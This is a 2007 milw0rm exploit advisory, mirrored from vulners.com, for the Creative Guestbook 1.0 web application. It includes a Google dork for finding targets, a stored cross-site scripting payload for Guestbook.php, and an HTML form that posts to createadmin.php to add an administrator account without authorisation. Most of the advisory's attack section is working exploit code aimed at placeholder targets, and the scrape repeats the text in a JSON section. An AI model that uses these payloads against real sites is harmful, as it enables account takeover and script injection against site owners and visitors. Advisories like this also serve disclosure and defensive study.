Creative Guestbook 1.0 Multiple Remote Vulnerabilities

2007-03-1700:00:00

vulners.com

                                                      .-&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;-.                                 
                                                     /   Dj7xpl   &#92;                              
                                                    |              |                                
                                                    |,  .-.  .-.  ,|                                
                                                    | &#41;&#40;_o/  &#92;o_&#41;&#40; |                                     
                                                    |/     /&#92;     &#92;|                                 
                                          &#40;@_       &#40;_     ^^     _&#41;                  
                                     _     &#41; &#92;_______&#92;__|IIIIII|__/_______________________________
                                    &#40;_&#41;@8@8{}&lt;________|-&#92;IIIIII/-|________________________________&gt;
                                           &#41;_/        &#92;          / 
                                           &#40;@

+____Iranian Are The Best In World+

Portal : Creative Guestbook 1.0

Download : http://www.thecreativeheads.de/CreativeFiles/downloads.php

Author : Dj7xpl | [email protected]

Dork : "Creative Guestbook"

Class : (Add Remote Admin User) And (Cross Site Scripting)

+_______________________________________________________________________________________________________________________+

css/xss :

http://[Target]/[Path]/Guestbook.php <== Insert Yor Script

Example : <script> alert (' dj7xpl ^_^ ') </script>

+_______________________________________________________________________________________________________________________+

Add Remote Admin User :

<form name="admin" method="post" action="http://[target]/[path]/createadmin.php?PHPSESSID='.session_id().'">

<input type="text" name="Name" value="name"><br>

<input type="text" name="Email"value="email"><br>

<input type="text" name="PASSWORD" value="password"><br>

<input type="submit" value="Admin hinzufügen" name="submit">

</form>

+_______________________________________________________________________________________________________________________+

Sp Tnx : Milw0rm, Ashiyane, Delta Hacking, Virangar, Hacker.ir, Shabgard.org,Simorgh …

+_______________________________________________________________________________________________________________________+

milw0rm.com [2007-03-15]

JSON

Creative Guestbook 1.0 Multiple Remote Vulnerabilities

Portal : Creative Guestbook 1.0

Download : http://www.thecreativeheads.de/CreativeFiles/downloads.php

Author : Dj7xpl | [email protected]

Dork : "Creative Guestbook"

Class : (Add Remote Admin User) And (Cross Site Scripting)

css/xss :

http://[Target]/[Path]/Guestbook.php <== Insert Yor Script

Example : <script> alert (' dj7xpl ^_^ ') </script>

Add Remote Admin User :

<form name="admin" method="post" action="http://[target]/[path]/createadmin.php?PHPSESSID='.session_id().'">

<input type="text" name="Name" value="name"><br>

<input type="text" name="Email"value="email"><br>

<input type="text" name="PASSWORD" value="password"><br>

<input type="submit" value="Admin hinzuf&uuml;gen" name="submit">

</form>

Sp Tnx : Milw0rm, Ashiyane, Delta Hacking, Virangar, Hacker.ir, Shabgard.org,Simorgh …

milw0rm.com [2007-03-15]

<input type="submit" value="Admin hinzufügen" name="submit">